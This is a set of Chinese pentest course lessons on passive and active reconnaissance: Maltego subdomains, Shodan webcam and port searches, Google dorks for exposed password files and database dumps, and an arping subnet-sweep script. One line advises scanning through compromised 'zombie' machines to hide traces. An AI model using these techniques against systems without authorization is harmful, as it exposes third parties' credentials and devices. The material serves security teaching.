这些信息是构建目标画像、理解其网络资产和业务背景的基础,对于全面的安全评估至关重要。
课程 P34:使用 Maltego 收集子域名信息 🕵️
在本节课中,我们将学习如何使用 Maltego 这一强大的开源情报(OSINT)工具来收集目标域名的子域名信息。这对于渗透测试和信息收集阶段至关重要。
概述:什么是 Maltego?
Maltego 是一款专注于分析互联网公开数据之间真实世界关系的工具。它通过查询 WHOIS 记录、DNS 记录、社交网络以及各种在线 API 来收集和关联信息,本质上是一个强大的社会工程学工具。它提供广泛的图形化布局,允许对数据进行聚类分析,使关系呈现得更加准确和及时。
核心概念:域名与子域名
在开始使用工具前,我们需要理解两个核心概念:顶级域名和子域名。
-
顶级域名:是域名的最后一部分,即最后一个点之后的字母。例如,在
xuegao.cn中,顶级域是.cn。它不区分大小写。- 通用顶级域名:例如
.com(商业)、.org(组织)、.net(网络)。 - 国家/地区顶级域名:例如
.cn(中国)、.uk(英国)。
- 通用顶级域名:例如
-
子域名:凡是在顶级域名前添加前缀的,都属于该域的子域名。根据层级可分为二级、三级、四级子域名等。
- 公式:
[前缀].[主域名] - 示例:
- 主域名:
xuegao.cn - 二级子域名:
www.xuegao.cn - 三级子域名:
a.b.xuegao.cn
- 主域名:
- 公式:
为何要挖掘子域名?🎯
上一节我们介绍了域名的基础概念,本节中我们来看看挖掘子域名的重要性。在网络安全评估中,主站点的防御往往非常严密。此时,渗透测试人员可以采用迂回战术,先寻找并攻击防护相对薄弱的子站点(子域名),获取权限后再逐步向主站渗透。
例如,若 www.target.com 无懈可击,但其子域名 dev.target.com 存在漏洞,攻击者便可从 dev.target.com 入手。
子域名挖掘方法简介
除了我们将要重点介绍的 Maltego,子域名挖掘还有多种方法:
以下是常见的几种子域名收集方法:
- 专用工具:如子域名挖掘机,其原理常基于字典爆破。
- 搜索引擎语法:在谷歌等搜索引擎中使用
site:qq.com进行搜索。 - 第三方查询网站:利用公开的在线服务进行查询。
- 证书透明度日志:通过查询 SSL/TLS 证书的公开记录来发现子域名。

实战:使用 Maltego 收集子域名 🛠️

了解了背景知识后,我们进入实战环节,看看如何具体操作 Maltego。


步骤一:注册 Maltego 账号

Maltego 社区版免费,但需要注册账号。由于注册过程涉及谷歌的人机验证,建议使用 Gmail 或 163 等邮箱注册。
- 访问官网注册地址:
https://www.maltego.com/registration/ - 填写姓名、邮箱、密码等信息完成注册。
- 登录邮箱,点击激活邮件中的链接完成账号激活。

步骤二:在 Kali Linux 中启动 Maltego


Maltego 已预装在 Kali Linux 中。请注意,新版本可能不允许在 root 用户下直接运行。


如果无法启动,请尝试在终端执行以下命令重新安装:
apt install maltego
或者,创建一个普通用户,切换到该用户后再运行 Maltego。

安装或配置完成后,在 Kali 的应用程序菜单中找到 “信息收集” -> “Maltego” 并启动。


步骤三:登录与初始化


- 启动后,选择运行 “Maltego CE”(社区免费版)。
- 接受许可协议,输入之前注册的邮箱和密码进行登录。
- 工具会自动下载和更新必要的组件(需要网络通畅)。完成后,会打开一个空白的绘图区域(画布)。

步骤四:收集子域名
现在,我们开始收集指定域名的子域名。
以下是操作步骤:
- 在左侧实体(Entities)面板中,找到 “Domain” 选项。
- 按住鼠标左键,将 “Domain” 图标拖拽到右侧的画布中。
- 双击画布中的 “Domain” 图标,输入目标域名,例如
ke.qq.com,然后按回车。 - 右键单击该域名图标,在弹出的菜单中选择 “All Transforms”。
- 在展开的列表中找到并点击 “To DNS Name – Domain (DNS)” 或其他子域名查询选项。
- Maltego 将开始查询并自动将结果以图形化的方式展示在画布上,所有发现的子域名(如
test.ke.qq.com)都会列出。
步骤五:进一步信息收集
查询出子域名后,我们可以对其进行深入分析。
例如,可以右键单击任何一个子域名,选择 “To IP Address” 来解析其对应的 IP。如果多个子域名指向同一个 IP,则表明它们可能托管在同一台服务器上。
Maltego 功能非常丰富,您可以根据需要尝试其他转换(Transforms)来获取网络块、邮件地址、相关文档等信息。
总结 📝

本节课中我们一起学习了子域名收集的重要性以及如何使用 Maltego 工具来高效地完成这项任务。我们首先了解了域名体系,然后完成了 Maltego 的账号注册与工具启动,最后通过实战演练掌握了查询子域名及其关联信息(如 IP 地址)的基本流程。Maltego 是一个功能强大的 OSINT 工具,熟练掌握它将极大提升您在信息收集阶段的能力。
课程P35:7.6-【被动信息收集系列】Shodan信息收集-介绍 🕵️
在本节课中,我们将要学习什么是Shodan搜索引擎,以及如何注册和使用它进行网络设备与服务的发现。这是一种强大的被动信息收集工具。
什么是Shodan?🌐
上一节我们介绍了被动信息收集的概念,本节中我们来看看一个被称为“黑暗谷歌”的工具——Shodan。
虽然目前人们都认为谷歌是最强劲的搜索引擎,但是Shodan才是互联网上最可怕的搜索引擎。与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网背后的通道。Shodan一刻不停地在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。
其中有一个关键词是摄像头。它还可以直接显示出目标的具体地理位置信息。这个手段比谷歌还要强大。
访问与界面 🔍

它的网址是 https://www.shodan.io/,我们可以直接访问。它的界面如下图所示,主要是英文的。在搜索框中输入关键词即可开始搜索。

注册Shodan账户 📝
在使用Shodan时,最好先注册一下。因为如果不注册,搜索可能会受到限制,例如搜索次数受限,或者只能看到搜索结果的第一页。注册过程很简单,可以直接在官网注册账号。

以下是注册步骤:
- 打开注册地址
https://account.shodan.io/register。 - 在注册页面填写用户名、密码和邮箱。
- 勾选同意条款,点击“创建”按钮即可完成注册。



也可以在登录时使用谷歌账号、GitHub账号或微软账号进行快捷登录。例如,点击“使用谷歌登录”按钮,选择你的谷歌账号即可快速登录成功。



注册并登录后,我们就可以开始使用Shodan搜索引擎进行搜索了。
总结 📚

本节课中我们一起学习了Shodan搜索引擎的基本概念。我们了解到Shodan是一个专门搜索联网设备(如服务器、摄像头、路由器)的搜索引擎,功能强大。我们还学习了如何访问Shodan官网以及注册和登录账户的步骤,为后续的实际搜索操作做好了准备。
课程 P36:7.7 - 【被动信息收集系列】Shodan信息收集 - 搜索技巧 🕵️
在本节课中,我们将要学习Shodan搜索引擎的核心搜索技巧。Shodan是一个强大的网络设备搜索引擎,能够帮助我们以被动方式收集目标信息,避免直接扫描目标系统。我们将通过具体的语法和示例,学习如何精准地查找网络摄像头、特定IP、端口、城市以及组合条件。
1. 搜索网络摄像头设备 📹
上一节我们介绍了Shodan的基本概念,本节中我们来看看如何利用它搜索特定的联网设备,例如网络摄像头。
网络摄像头是指安装在电脑或监控设备上,并连接到互联网的摄像头。通过Shodan可以搜索到大量此类公开设备。
在搜索框中直接输入 webcam 或 网络摄像头 即可进行搜索。
重要提示:以下演示仅为教学目的。请勿尝试登录或访问他人的网络设备,这可能带来法律风险和不必要的麻烦。
以下是搜索步骤:
- 在Shodan搜索框中输入
webcam并回车。 - 搜索结果会显示全球的公开网络摄像头设备列表。
- 点击结果中的链接图标可以尝试访问,但许多设备需要账号密码验证。
- 在搜索结果页面左侧,可以按国家(如
country:CN)或城市(如city:北京)进行筛选,以细化搜索结果。
例如,搜索北京的摄像头可以使用语法:city:北京 webcam。
2. 搜索指定IP地址 🖥️
了解了如何搜索设备后,我们来看看如何针对一个具体的IP地址进行信息收集。这有助于我们了解目标服务器的公开信息。
通过搜索指定IP,我们可以获取该服务器开放的服务、端口、服务版本及可能存在的漏洞信息,这是一种高效的被动信息收集方式。
搜索语法为:net:目标IP地址。
例如,搜索一个IP地址:net:xxx.xxx.xxx.xxx。
以下是搜索后可以获取的信息:
- 开放端口与服务:列出服务器所有开放的端口及其对应的服务(如HTTP, SSH, MySQL)。
- 服务商与地理位置:显示互联网服务提供商(ISP)和服务器所在位置。
- 服务版本信息:显示运行服务的具体软件版本。
- 潜在漏洞提示:Shodan可能会列出与该服务版本相关的已知漏洞。
请注意:Shodan报告的漏洞可能存在误报或漏报,需要进一步验证才能确认其真实性和可利用性。
3. 搜索指定端口 🔌
除了针对IP,我们还可以直接搜索互联网上开放了特定端口的所有设备。这能帮助我们快速定位提供某种服务(如Web服务、数据库服务)的资产。

搜索语法非常简单:port:端口号。


以下是几个常用端口及其搜索示例:
- HTTP服务:
port:80。这将返回所有开放80端口的Web服务器。 - Windows远程桌面:
port:3389。这将找到开放远程桌面服务的设备。 - Elasticsearch服务:
port:9200。用于搜索ELK日志分析系统。 - Grafana等监控平台:
port:3000。常用于服务器监控面板。

安全提醒:搜索到的结果可能是任何人的设备。请勿尝试进行未授权的访问、登录或暴力破解,这些行为是非法的。


4. 组合搜索条件 🔗
单一的搜索条件可能返回结果过多。为了更精确地定位目标,我们可以将多个搜索技巧组合使用。

组合搜索的语法是使用空格连接多个条件。

以下是几种常见的组合搜索示例:
- 搜索特定城市的Web服务器:
city:北京 port:80 - 搜索特定IP的特定端口:
net:xxx.xxx.xxx.xxx port:3306 - 搜索特定产品(如Nginx):
product:nginx

在搜索结果页面左侧的筛选栏,系统通常会显示当前使用的组合条件,例如 city:北京 port:80 product:nginx。

Shodan的搜索语法非常丰富,大家可以通过搜索引擎查找“Shodan search syntax”来获取更全面的官方或社区文档。

总结 📝

本节课中我们一起学习了Shodan的几种核心搜索技巧:
- 使用
webcam等关键词搜索特定类型的联网设备。 - 使用
net:语法搜索指定IP地址的详细资产信息。 - 使用
port:语法搜索开放特定端口的所有设备。 - 通过组合
city:、port:、product:等条件进行精细化搜索。

掌握这些技巧,可以让我们在渗透测试的信息收集阶段,更安全、更高效地获取目标的外部攻击面信息。请务必在合法授权的范围内使用这些技术。
课程 P37:7.8 - 【被动信息收集系列】Google搜索引擎的使用技巧 🔍
在本节课中,我们将要学习如何高效地使用Google搜索引擎进行信息收集。掌握特定的搜索语法可以显著提升搜索的效率和准确性,这对于寻找存在漏洞的页面或敏感信息文件至关重要。
概述
通常,我们使用自然语言或关键词进行搜索。然而,搜索引擎支持特定的语法规则。熟练运用这些语法,可以更精准地定位目标信息。本节将介绍一些常用的Google搜索语法及其应用场景。
常用搜索语法介绍
以下是Google搜索引擎中一些常用且强大的搜索语法。
1. site: - 指定域名搜索
site: 语法用于搜索指定域名下的所有相关信息。其基本格式为:
site:example.com
这将返回Google收录的关于 example.com 的所有页面。
使用示例与技巧:
- 搜索特定站点:
site:xuegaz.cn - 搜索特定国家顶级域名(如日本):
site:.jp - 搜索特定域名后缀(如
.com或.net):site:.com或site:.net
site: 语法可以与其他关键词组合使用,以在特定站点内搜索更具体的内容,例如存在敏感信息泄露的页面。
2. inurl: - 在URL中搜索关键词
inurl: 语法用于限定在网页的URL地址中进行关键词搜索。其基本格式为:
inurl:keyword
这将返回URL中包含指定关键词的页面。


使用示例与技巧:
- 搜索可能包含账号密码的文件:
inurl:qq.txt - 搜索常见的网站后台登录地址:
inurl:admin.php或inurl:login - 组合使用,在特定站点搜索后台:
site:xuegaz.cn inurl:admin
需要注意的是,通过此方法只能搜索到已被Google收录的页面。未被收录的页面即使存在也无法找到。
3. intitle: - 在网页标题中搜索关键词
intitle: 语法用于在网页的标题标签中进行关键词搜索。其基本格式为:
intitle:keyword
这将返回网页标题中包含指定关键词的页面。
使用示例与技巧:
- 搜索后台登录页面(标题常包含“登录”):
intitle:登录 - 搜索存在目录遍历(开放目录)漏洞的页面:
intitle:index.of - 搜索开放目录中特定的敏感文件(如
bash_history或my.cnf):intitle:index.of bash_history
intitle:index.of 是一个强大的组合,用于发现网站目录列表被意外暴露的情况,这可能泄露服务器上的文件信息。
4. filetype: - 指定文件类型搜索
filetype: 语法用于搜索特定类型的文件。其基本格式为:
keyword filetype:extension
这将返回包含指定关键词且文件类型为指定扩展名的结果。




使用示例与技巧:
- 搜索关于“kali”的种子文件:
kali filetype:torrent - 搜索关于“渗透测试”的PDF文档:
渗透测试 filetype:pdf

此语法有助于快速定位特定格式的学习资料或文件。


5. cache: - 查看网页缓存

cache: 语法用于查看Google对某个网页的缓存版本。其基本格式为:
cache:example.com/page
即使目标页面已被删除或无法访问,只要Google存在缓存,就可能通过此方式访问历史内容。

6. intext: - 在网页正文中搜索关键词
intext: 语法用于在网页的正文内容中搜索关键词。其基本格式为:
intext:keyword
这将返回网页内容中包含指定关键词的页面。
高级组合搜索技巧
单一的搜索语法功能有限,将多种语法组合使用能实现更复杂、更精确的搜索。
组合使用示例:
- 在特定论坛中搜索关键词:
apache site:bbs.xuegaz.cn(在学神论坛中搜索包含“apache”的页面) - 搜索子域名:
site:xuegaz.cn(直接使用site:语法常可列出目标的子域名) - 搜索暴露的数据库文件:
intitle:index.of intext:user.sql(搜索开放目录中内容包含user.sql的页面) - 在特定云服务上搜索敏感表格:
s3 site:amazonaws.com filetype:xls password(在亚马逊S3服务上搜索包含“password”的Excel文件)
⚠️ 重要安全提醒:
通过此类方法搜索到的文件,在下载和打开时需格外谨慎。攻击者可能故意设置包含恶意软件的文件诱骗用户中招。建议在虚拟机环境中进行检查,并确保系统安装有杀毒软件。
总结
本节课我们一起学习了Google搜索引擎的核心使用技巧。我们介绍了 site:、inurl:、intitle:、filetype:、cache: 和 intext: 等关键语法,并探讨了如何将它们组合起来进行高效、精准的被动信息收集。掌握这些技巧是渗透测试和信息收集工作中非常有价值的一环。

课后,你可以进一步探索“Google Hacking Database”(GHDB),其中收录了安全研究人员常用的数百条搜索语法,能帮助你更深入地理解和运用这些技术。
课程P38:7.9-【被动信息收集系列】常见最新漏洞公布网站 🔍

在本节课中,我们将学习被动信息收集的一个重要环节:如何通过关注权威的漏洞公布网站,及时获取最新的安全漏洞信息。这对于安全学习者和从业者至关重要。
上一节我们介绍了利用搜索引擎等工具进行信息收集。本节中,我们来看看如何通过专业网站,主动获取最新的漏洞情报。
以下是几个常见且权威的最新漏洞公布网站,建议收藏并定期访问。


- 美国著名安全公司Offensive Security的漏洞库:即Kali Linux内置的漏洞库。其提供的
exploit-db.com网站更新非常及时。在Kali中使用searchsploit命令搜索漏洞时,调用的正是这个数据库。 - 赛门铁克(Symantec)漏洞库:国际权威的漏洞库之一。
- 国家信息安全漏洞共享平台(CNVD):国内重要的漏洞信息共享平台。
- 绿盟科技(NSFOCUS)漏洞库:国内知名安全厂商维护的漏洞库。
- 俄罗斯知名安全实验室漏洞库:提供国际化的漏洞视角。
- 常见漏洞和披露(CVE):访问
cve.mitre.org或nvd.nist.gov可查询标准化的漏洞编号与详情。 - 信息安全漏洞门户:另一个综合性的漏洞信息平台。
- 安全客:国内活跃的安全资讯与漏洞发布平台。
- 美国国家信息安全漏洞库(NVD):由美国国家标准与技术研究院维护,与CVE深度关联。
- 知道创宇(Knownsec)漏洞库:国内知名安全公司的漏洞信息库。


除了以上列举的网站,可能还存在其他有价值的漏洞库。如果你了解到其他可靠的来源,可以自行收藏并关注。

最后,我们来对本节课做一个总结。

本节课中,我们一起学习了被动信息收集的多个方面:从DNS域名解析的原理开始,到如何收集域名解析记录、备案信息和注册信息;接着介绍了使用Metasploit等工具搜集子域名的方法及其重要性;然后讲解了如何利用Shodan、暗黑引擎及谷歌搜索引擎进行信息搜集,并分享了谷歌搜索的高级技巧;最后,我们重点介绍了多个国内外常见的最新漏洞公布网站,帮助你建立持续关注安全动态的习惯。
课程P39:8.1-【主动信息收集系列】主动信息收集的原理 🎯
概述
在本节课中,我们将要学习主动信息收集的基本原理。我们将从主动信息收集的特点入手,了解如何发现目标主机,并深入探讨OSI七层模型与TCP/IP五层模型,理解不同网络层次在信息收集中的作用。最后,我们会分析基于不同网络层进行扫描的优缺点。

主动信息收集的特点
主动信息收集是指直接与目标系统进行交互通信。这种方式无法避免地会留下访问痕迹。
为了避免留下痕迹,可以使用受控的第三方电脑进行探测,例如使用“肉鸡”(被控制的计算机)或代理服务器。同时,需要做好IP地址被封禁的准备,因为目标系统可能部署了防火墙、IDS/IPS等防御措施。如果扫描频率过高,攻击者的IP可能会被封锁。

通过向目标发送不同的探测数据包,并根据其返回的结果,可以判断目标系统的状态。

发现目标主机的过程
发现目标主机的过程通常遵循以下步骤:
首先,需要识别网络中存活的主机,即那些在线且可被探测到的设备。只有存活的主机才是潜在的攻击目标。
其次,需要生成一个目标IP地址列表,这个列表可以包含单个IP、IP地址段或IP地址范围。
最后,利用OSI模型中的第二层(数据链路层)、第三层(网络层)和第四层(传输层)协议进行探测和发现。

OSI七层模型与TCP/IP五层模型
为了理解第二、三、四层探测,我们有必要了解OSI七层模型和TCP/IP五层模型。

OSI模型(开放系统互联模型)由国际标准化组织(ISO)设计,旨在实现网络行业的兼容性。它将网络通信分为七层,从上到下依次是:
- 第七层:应用层
- 为特定类型的网络应用提供访问OSI环境的手段。它主要为用户提供软件接口或界面。
- 常见协议包括:
HTTP,HTTPS,FTP,Telnet,SSH,SMTP,POP3。


- 第六层:表示层
- 处理通信系统间交换信息的表示方式,包括数据格式转换、加密解密、数据压缩等。
- 它负责数据的呈现,例如处理
AVI、RMVB、DOC、XLS等格式的文件。

-
第五层:会话层
- 在两个节点之间建立、维持和终止会话(连接)。它为应用程序之间的对话提供控制机制。
- 例如,浏览器访问网站时建立的TCP连接就是一个会话。
-
第四层:传输层
- 建立主机端口到端口的连接,为上层协议提供可靠或不可靠的数据传输服务,处理差错控制和流量控制。
- 核心协议是TCP(可靠传输)和UDP(不可靠传输)。

- 第三层:网络层
- 通过IP寻址来建立两个节点之间的连接,为数据包选择路由。
- 核心协议是IP协议,主要设备是路由器。

-
第二层:数据链路层
- 将比特组合成帧,使用MAC地址(物理地址)访问介质,并进行差错检测。
- 主要提供二层寻址和通信,核心设备是交换机,属于局域网范畴。
-
第一层:物理层
- 利用物理传输介质(如网线、光纤)为数据链路层提供物理连接。
- 涉及网卡、集线器、中继器等物理设备。

TCP/IP五层模型则将OSI模型的应用层、表示层和会话层合并为应用层,其他层次基本不变。

数据传输类比
我们可以用寄送包裹来类比网络数据传输:
- 数据包如同包裹。
- MAC地址和IP地址如同包裹上的快递单,其中IP地址用于广域网寻址(找到哪个城市哪个小区),MAC地址用于局域网内最终定位(找到具体哪户人家)。
- 交换机如同快递员,负责在局域网内“取货送货”。
- 路由器如同物流货车或飞机,负责在不同网络间运输数据包。
- 最终,数据到达目标主机后,通过端口号找到具体的接收应用程序。


基于不同网络层扫描的优缺点
上一节我们介绍了OSI模型,本节我们来看看基于不同网络层进行扫描的优缺点。
以下是各层扫描的特点:


第二层(数据链路层)扫描
- 优点:扫描速度非常快,结果可靠。
- 缺点:不可路由,只能在同一个局域网(LAN)内进行。

第三层(网络层)扫描
- 优点:可以跨路由,扫描速度较快。
- 缺点:经常被边界防火墙过滤。主要使用
IP和ICMP协议(如ping命令)。

第四层(传输层)扫描
- 优点:可以路由,结果可靠,不太可能被简单的防火墙完全过滤,能够发现所有端口都被过滤的主机。
- 缺点:可能被具备状态检测功能的防火墙过滤,进行全端口扫描时速度较慢。


总结
本节课中,我们一起学习了主动信息收集的核心原理。我们了解了主动收集会留下痕迹的特点及应对策略,明确了发现目标主机的基本流程。通过深入剖析OSI七层模型和TCP/IP五层模型,我们掌握了每一层的功能与核心协议。最后,我们分析了基于第二、三、四层进行网络扫描的优缺点,为后续学习具体的扫描工具和方法奠定了坚实的理论基础。
课程P4:1.3 - 网络安全基础-白帽守则(下)🛡️
在本节课中,我们将学习如何对一台新安装的Linux服务器进行基础安全配置,并将其封装为可重复使用的模板机。核心内容包括配置静态IP地址、安装必要工具、关闭不必要的服务以及创建虚拟机快照。


一、 配置静态IP地址

上一节我们介绍了服务器初始化的概念,本节中我们来看看如何配置静态IP地址。这是拿到服务器后必须做的一件事,因为动态分配的IP地址在每次启动时都可能变化。
网卡配置文件位于Linux系统中一个非常重要的目录下。这些重要的文件和目录是安全监控的重点,例如可以编写脚本监控其MD5值是否被篡改,一旦变化就触发告警。


网卡配置文件的具体路径是:/etc/sysconfig/network-scripts/,文件名通常为 ifcfg-ens33。

以下是不同环境下网卡名称的区分:
- 物理服务器(如戴尔品牌):网卡名称通常为
em1,em2,em3,em4。 - 云主机(如阿里云):网卡名称通常为
eth0。

编辑配置文件需要使用文本编辑器,例如 vi 或 vim。如果系统未安装,可以使用以下命令安装:
yum install -y vim
二、 安装必要工具
在配置系统前,我们需要安装一些常用的工具,以便后续操作。
以下是需要安装的工具列表:
vim: 强大的文本编辑器。telnet: 用于测试网络连接。lrzsz: 提供rz/sz命令,方便文件上传下载。wget: 从网络下载文件的工具。curl: 传输数据的命令行工具。unzip: 解压ZIP压缩包。net-tools: 提供ifconfig等传统网络工具(CentOS 7 默认可能未安装)。
安装命令如下:
yum install -y vim telnet lrzsz wget curl unzip net-tools
系统可能使用国内的软件源(如阿里云、清华大学、中科大的镜像源),如果下载速度不理想,可以根据自身网络情况更换为访问最快的源。
三、 编辑网卡配置文件
必要的工具安装完成后,我们开始修改网卡配置文件以设置静态IP。

使用 vim 编辑配置文件,例如:
vim /etc/sysconfig/network-scripts/ifcfg-ens33
在 vim 编辑器中,按下 i 键进入插入(编辑)模式。

需要修改或确认以下几处关键配置:
- BOOTPROTO: 将
dhcp改为static或直接删除该行。 - UUID: 删除
UUID这一行,这在克隆虚拟机时有助于避免MAC地址冲突。 - IPADDR: 设置固定的IP地址,例如
192.168.10.128。 - NETMASK: 设置子网掩码,例如
255.255.255.0。 - GATEWAY: 设置网关地址。此地址需与VMware虚拟网络编辑器(VMnet8)中NAT设置的网关IP一致。
- DNS1: 设置DNS服务器,可以设置为网关地址,或公共DNS如
114.114.114.114,8.8.8.8。

配置完成后,按下 ESC 键退出编辑模式,然后输入 :wq 保存并退出。最后,重启网络服务使配置生效:
systemctl restart network
可以使用 ip a 命令检查IP地址是否已更新。
四、 关闭防火墙并设置开机禁用

为了在实验环境中减少干扰,我们通常关闭防火墙。在生产环境中请谨慎操作。
以下是关闭防火墙并禁止其开机的命令:
systemctl stop firewalld # 停止防火墙服务
systemctl disable firewalld # 禁止防火墙开机自启

五、 封装模板机与克隆使用

完成所有基础配置后,可以将此虚拟机封装为模板机。
操作步骤如下:
- 关闭虚拟机。
- 在VMware中,对模板机右键选择“快照” -> “拍摄快照”,填写描述信息(如“安装系统并做基本配置”)。
- 此后,模板机应保持原状。当需要新机器时,右键模板机选择“管理” -> “克隆”。
- 克隆类型选择“创建链接克隆”,这样可以快速生成新虚拟机且节省磁盘空间。
使用克隆出的新虚拟机时,需要修改其IP地址以避免冲突。只需再次编辑网卡配置文件,将 IPADDR 改为同一网段内未使用的地址(如将 .128 改为 .129)即可。这样,如果某台克隆机损坏,可以直接删除并重新克隆。



六、 模板机的分享与使用


制作好的模板机可以导出为OVA格式文件分享给他人。


在VMware中,选择“文件” -> “导出为OVF...”,即可生成 .ova 文件。其他人只需在VMware中通过“文件” -> “打开”,选择此OVA文件即可导入使用该模板机。





本节课中我们一起学习了Linux服务器的初步安全加固与模板化流程。我们掌握了配置静态IP、安装基础工具、关闭防火墙的方法,并最终学会了如何创建和使用虚拟机模板机及快照,这为后续搭建可重复、易维护的实验环境打下了坚实基础。
课程P40:8.2 - 【主动信息收集系列】基于ping命令的探测 🎯
在本节课中,我们将要学习基于ping命令的网络探测技术。ping是一个基础且强大的网络诊断工具,常用于检查主机间的连通性。我们将从简单的连通性测试开始,逐步深入到路由跟踪等高级用法,帮助你理解数据包在网络中的传输路径。

通过ping命令判断主机存活 🖥️

ping命令最常用的功能是判断目标主机是否在线以及网络是否畅通。例如,在系统安装后,我们常通过ping一个外部地址(如百度)来测试网络连接。
打开终端,使用以下命令格式可以测试与特定主机的连通性:
ping -c 1 [目标IP或域名]
参数-c 1表示只发送一个数据包。如果收到回复,则表明目标主机是存活的,网络路径基本畅通。

使用traceroute跟踪数据包路径 🛣️
上一节我们介绍了如何判断主机是否存活。本节中我们来看看,数据包从本机到达目标主机的具体路径。数据包在网络中传输时,通常会经过多个路由器和网络设备。

为了查看这条路径,我们可以使用traceroute命令。以下是该命令的基本用法:
traceroute [目标域名或IP]
执行该命令后,它会显示数据包到达目标主机前所经过的每一跳(即每一个网络设备)的IP地址和响应时间。
如果某一跳显示为星号(*),可能的原因包括:
- 该网络设备没有响应我们的探测包。
- 探测包被该设备的防火墙过滤或屏蔽。
通过分析这些信息,我们可以了解网络的拓扑结构和可能存在的故障点。
总结 📝

本节课中我们一起学习了基于ping命令的主动信息收集技术。我们首先使用ping命令来快速判断目标主机的存活状态。接着,我们利用traceroute命令深入探查了数据包从源到目的地的完整传输路径,识别出中间经过的所有网络节点。掌握这些基础命令,是进行网络故障诊断和安全评估的重要第一步。
课程P41:8.3-【主动信息收集系列】基于ARPING的探测 🎯
在本节课中,我们将要学习ARP协议的基本原理,并掌握如何使用arping命令及其相关工具进行局域网内的主机探测。我们将从ARP协议的概念入手,逐步讲解其工作原理、arping命令的基本使用、结果筛选技巧,并最终通过编写Shell脚本实现自动化批量扫描。
ARP协议简介
上一节我们介绍了基于ICMP协议的ping命令。本节中,我们来看看另一种基于ARP协议的探测方式。
ARP(Address Resolution Protocol,地址解析协议)是局域网内用于将IP地址转换为MAC地址(物理地址)的协议。计算机之间的直接通信依赖于目标主机的MAC地址,但用户通常只知道目标主机的IP地址。ARP协议就是负责完成这个“地址解析”的过程。

简单来说,ARP协议负责将局域网内的32位IP地址转换为对应的48位物理地址(即网卡MAC地址),以确保通信的顺利进行。
ARP工作原理图解

为了更直观地理解ARP的工作过程,我们通过一张图来分析。


假设局域网内有两台主机:192.168.1.63 和 192.168.1.64。
- 当主机 192.168.1.63 想与 192.168.1.64 通信时,它首先需要知道后者的MAC地址。
- 如果它不知道,就会向整个局域网广播一个ARP请求包,询问“谁知道192.168.1.64的MAC地址?”。
- 局域网内所有主机都会收到这个广播包。
- 其他主机发现询问的不是自己,便会丢弃该数据包。
- 主机 192.168.1.64 收到请求后,会向 192.168.1.63 发送一个ARP应答包,告知自己的MAC地址。
- 主机 192.168.1.63 收到应答后,便获得了目标MAC地址,随后即可开始数据传输。
这就是ARP协议的基本工作原理。
ARPING命令基础应用
了解了ARP的原理后,我们来看看如何利用arping命令进行探测。

arping命令可以向指定IP地址发送ARP请求,并根据是否收到ARP应答来判断目标主机是否在线。它主要有两个用途:
- 检测IP地址冲突:例如,检测局域网内是否有人冒充网关。
- 获取目标主机的MAC地址。
以下是arping命令的基本用法示例:
arping 192.168.1.1
执行上述命令,如果网关(192.168.1.1)在线且唯一,你将看到其MAC地址。如果局域网内存在IP冲突(例如有两台设备都声称自己是192.168.1.1),你可能会收到两个不同的MAC地址响应。

筛选ARPING命令结果


默认的arping输出信息较多。在实际扫描中,我们通常只关心IP地址。因此,我们需要学习如何从输出结果中筛选出IP地址。
以下是利用管道符 | 和 grep、cut 命令进行筛选的步骤:
-
首先,使用
grep筛选出包含IP地址的关键行。
arping的输出中,包含IP地址的行通常有“from”字样。arping 192.168.1.1 | grep “from”执行后,会得到类似
64 bytes from 192.168.1.1: icmp_seq=0 ttl=64 time=0.338 ms的一行。 -
接着,使用
cut命令以空格为分隔符,提取IP地址所在的列。arping 192.168.1.1 | grep “from” | cut -d “ “ -f 5这里
-d “ “指定空格为分隔符,-f 5表示取第五列(即192.168.1.1:)。 -
最后,再次使用
cut命令去除IP地址后的冒号。
我们可以用左括号(或右括号)作为分隔符来进一步处理。arping 192.168.1.1 | grep “from” | cut -d “ “ -f 5 | cut -d “(” -f 2 | cut -d “)” -f 1这个命令链的最终效果是输出纯净的IP地址:
192.168.1.1。

编写脚本实现批量ARP扫描
arping命令一次只能探测一个IP地址,手动扫描整个网段效率极低。因此,我们需要编写Shell脚本实现自动化批量扫描。
脚本的核心思路是:获取本机网段,然后循环对该网段内的所有IP地址(如1到254)执行arping命令,并筛选出存活主机的IP。

以下是脚本内容 arping.sh:
#!/bin/bash

if [ $# -ne 1 ]; then
echo “用法: $0 <网卡名称>”
echo “示例: $0 eth0”
exit 1
fi

interface=$1
prefix=$(ifconfig $interface | grep “inet ” | cut -d “ “ -f 10 | cut -d “.” -f 1-3)

if [ -z “$prefix” ]; then
echo “无法获取网卡 $interface 的IP地址前缀。”
exit 1
fi


for addr in $(seq 1 254); do
arping -c 1 $prefix.$addr | grep “from” | cut -d “ “ -f 5 | cut -d “(” -f 2 | cut -d “)” -f 1
done

脚本解释:
if [ $# -ne 1 ]:检查用户是否输入了一个参数(网卡名),否则提示用法并退出。interface=$1:将用户输入的参数赋值给变量interface。prefix=$(…):通过ifconfig获取指定网卡的IP地址,并截取前三位(网段),例如192.168.1。for addr in $(seq 1 254):循环生成IP地址的最后一位(1到254)。- 循环体内:对每个IP执行
arping -c 1(发送一个ARP请求),并用之前学习的筛选命令链提取存活主机的IP。

使用脚本:
- 保存脚本并赋予执行权限。
chmod +x arping.sh - 运行脚本,需指定网卡名称(如
eth0)。
脚本将开始扫描整个./arping.sh eth0192.168.1.0/24网段,并输出所有在线主机的IP地址。


此脚本同样可用于检测ARP欺骗攻击。如果扫描结果中出现两个相同的IP地址对应不同的MAC地址,则表明可能存在ARP欺骗或IP冲突。

拓展工具:Netdiscover

除了arping,还有一个功能更强大的ARP探测工具——netdiscover。它支持主动和被动两种探测模式。
主动模式:
主动向局域网内所有主机发送ARP请求,速度快,但容易被发现。
netdiscover -i eth0 -r 192.168.1.0/24
-i:指定网卡。-r:指定要扫描的网段。



被动模式:
将网卡置于混杂模式,监听流经本机的ARP数据包。这种方式更隐蔽,但速度慢,需要等待网络中有ARP通信发生。
netdiscover -p


课程总结


本节课中我们一起学习了基于ARP协议的主机探测技术。
- 我们首先理解了ARP协议如何将IP地址解析为MAC地址,这是局域网通信的基础。
- 接着,我们掌握了
arping命令 的基本用法,用于探测单个主机的存活状态和检测IP冲突。 - 然后,我们学习了使用
grep和cut命令 筛选命令行输出,精确提取所需信息(如IP地址)。 - 最重要的是,我们通过编写一个 Shell脚本,实现了对整个局域网网段的自动化、批量ARP扫描,极大地提升了效率。
- 最后,我们简要介绍了功能更全面的ARP扫描工具
netdiscover及其主动/被动两种工作模式。

